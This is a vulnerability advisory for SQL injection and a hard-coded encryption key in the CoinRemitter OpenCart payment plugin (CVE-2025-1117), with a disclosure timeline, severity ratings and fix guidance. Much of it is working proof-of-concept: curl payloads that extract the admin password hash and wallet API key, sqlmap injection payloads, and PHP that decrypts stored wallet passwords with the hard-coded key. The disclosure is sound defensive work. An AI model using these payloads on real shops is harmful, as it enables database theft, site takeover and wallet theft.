The CoinRemitter Plugin For Opencart has multiple SQL Injection (SQLi) vulnerabilities.
The most serious of these allows an unauthenticated attacker to access any and all content stored in the database.
It's also possible to retrieve the API credentials for a coinremitter wallet, including the unencrypted password, due to the fact that encryption details are hard-coded and publicly available. This could potentially result in theft from the wallet.
Via the SQLi vulnerability it's possible to compromise the site by exfiltrating admin session details / credentials.
Any Personally Identifiable Information (PII) and/or payment details stored in the site's database would also be vulnerable to exfiltration.
- 2025-01-02: mcdruid contacts CoinRemitter to report vulnerability
- 2025-01-16: CoinRemitter replied acknowledging receipt.
- 2025-01-23: Commits made to github repo addressing the SQLi vulnerability.
- https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=39007
- https://github.com/CoinRemitter/opencart
- https://coinremitter.com/plugin/opencart
- Vulnerable versions:
"name": "Coinremitter for checkout",
"code": "Coinremitter_plugin_for_checkout",
"version": "4.0",
"author": "support@coinremitter.com",
"link": "https://coinremitter.com"
- Previous versions not tested but likely also vulnerable.
- Tested with OpenCart 4.0.2.3
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CWE-321: Use of Hard-coded Cryptographic Key
- CAPEC-66: SQL Injection
- CAPEC-7: Blind SQL Injection
- Imperfect mapping to CAPEC-37 and CAPEC-191 for hard-coded encryption
- CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
- CVE: CVE-2025-1117
Some of the SQLi vectors require that a valid coinremitter wallet is set up in an OpenCart site; it's possible to do this with test details including CoinRemitter's Test Coin functionality (free account required).
N.B. See the instructions for installation, especially preparing a zip file from the source files, and enabling the "payments" extension in the admin UI.
In all examples below, a simple local test site has been set up with the CoinRemitter module installed, and a test wallet has been set up.
Credentials given are examples and are not valid for real accounts.
Here are two example exploits that work via an unauthenticated POST request:
$ curl -si "http://opencart.ddev.site/index.php?route=extension/coinremitter/module/coinremitter_invoice|payment_history" -d 'address=1%27+AND+EXTRACTVALUE%281%2CCONCAT%28%27%7E%27%2C%28SELECT+api_key+FROM+oc_coinremitter_wallets%29%2C%27%7E%27%29%29--+.' | grep -oP '~.*?~'
~wkey_dTlM18qrpvZh9tp~
~',(SELECT api_key FROM oc_coinremitter_wallets),'~
$ curl -si 'http://opencart.ddev.site/index.php?route=extension/coinremitter/payment/coinremitter|notify' -d 'invoice_id=1&coin=1%27+OR+%28SELECT+1+FROM+%28SELECT+COUNT%28%2A%29%2CCONCAT%28%27%7E%27%2C%28SELECT+password+FROM+oc_user+WHERE+user_id+%3D+1%29%2C%27%7E%27%2CFLOOR%28RAND%280%29%2A2%29%29x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x%29a%29%3B--+.' | grep -oP '~.*?~'
~$2y$10$i1bgL9duVzEnyWGQk6.sduVX9p5Xy62JImX.SYXwiEOTAGh6a8TX6~
~',(SELECT password FROM oc_user WHERE user_id = 1),'~
In both cases these use an error-based vector to extract information from the database.
If the display of errors has been disabled on the site (it seems to be enabled by default), it's possible to use blind SQLi techniques to extract information.
The sqlmap tool ( https://sqlmap.org/ ) enumerates a number of possible attack techniques for one of the vectors:
$ sqlmap -u 'http://opencart.ddev.site/index.php?route=extension/coinremitter/payment/coinremitter|notify' --data='invoice_id=1&coin=1' -p coin
sqlmap identified the following injection point(s)
---
Parameter: coin (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: invoice_id=1&coin=1' OR NOT 6527=6527#
Vector: OR NOT [INFERENCE]#
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: invoice_id=1&coin=1' OR (SELECT 7247 FROM(SELECT COUNT(*),CONCAT(0x716b6a7071,(SELECT (ELT(7247=7247,1))),0x7162787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- JXIn
Vector: OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: invoice_id=1&coin=1' AND (SELECT 6919 FROM (SELECT(SLEEP(5)))vmEP)-- KLfI
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
It's possible to use these techniques to dump any information from the database, including the admin user credentials / session details, and credentials for the coinremitter wallet(s).
There are various other SQLi vectors, some of which require e.g. that a shopping cart be prepared up to the point where the “confirm” button is displayed for payment via coinremitter - the session cookie associated with that cart can then be used as part of an attack:
$ curl -s 'http://opencart.ddev.site/index.php?route=extension/coinremitter/payment/coinremitter|confirm' -b 'OCSESSID=72e271efa003769b997905f0d2' --data 'coin=1%27+OR+%28SELECT+1+FROM+%28SELECT+COUNT%28%2A%29%2CCONCAT%28%27%7E%27%2C%28SELECT+password+FROM+oc_user+WHERE+user_id+%3D+1%29%2C%27%7E%27%2CFLOOR%28RAND%280%29%2A2%29%29x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x%29a%29%3B--+.' | grep -oP '~.*?~'
~$2y$10$5Atayb4A0DsQHEeDfY1Nb.H3OzmRpo1lmYphZUILqruvvyHR546DO~
~',(SELECT password FROM oc_user WHERE user_id = 1),'~
Another vector requires that the payload be encrypted, but this can be done inline using the aforementioned details of the encryption used by the module:
$ curl -si "http://opencart.ddev.site/index.php?route=extension/coinremitter/module/coinremitter_invoice|detail&order_id=$(php -r 'print urlencode(openssl_encrypt("1'\'' AND EXTRACTVALUE(1,CONCAT('\''~'\'',(SELECT api_key FROM oc_coinremitter_wallets),'\''~'\''))-- .", "AES-256-CBC", "coinremitter", 0, "Coinremitter__iv"));')" | grep -oP '~.*?~'
~wkey_dTlM18qrpvZh9tp~
~',(SELECT api_key FROM oc_coinremitter_wallets),'~
The password for coinremitter wallets is stored encrypted in the database. However, the details of the encryption are hard-coded into the module and publicly available.
Therefore, an attacker can easily decrypt the stored credentials that they are able to exfiltrate from the database via SQLi. For example:
$ curl -si "http://opencart.ddev.site/index.php?route=extension/coinremitter/module/coinremitter_invoice|payment_history" -d 'address=1%27+AND+EXTRACTVALUE%281%2CCONCAT%28%27%7E%27%2C%28SELECT+password+FROM+oc_coinremitter_wallets%29%2C%27%7E%27%29%29--+.' | grep -oP '~.*?~'
~dC9k7ry9jEVGwAqbnNSQBA==~
~',(SELECT password FROM oc_coinremitter_wallets),'~
$ php -a
php > $pw = 'dC9k7ry9jEVGwAqbnNSQBA==';
php >
php > print openssl_decrypt($pw, 'AES-256-CBC', 'coinremitter', 0, 'Coinremitter__iv');
64494c71cef8263
The credentials above are examples and are not valid.
OpenCart's database API is very basic and does not employ prepared statements or parameterised inputs to queries.
Therefore modules must appropriately validate all unsafe input which is used to assemble SQL queries.
This is typically done in two ways; either the value is cast to a numeric format, or the database driver's escape method is used.
An example from OpenCart's own code that uses both techniques:
$this->db->query("INSERT INTO `" . DB_PREFIX . "customer_transaction` SET `customer_id` = '" . (int)$customer_id . "', `order_id` = '" . (int)$order_id . "', `description` = '" . $this->db->escape($description) . "', `amount` = '" . (float)$amount . "', `date_added` = NOW()");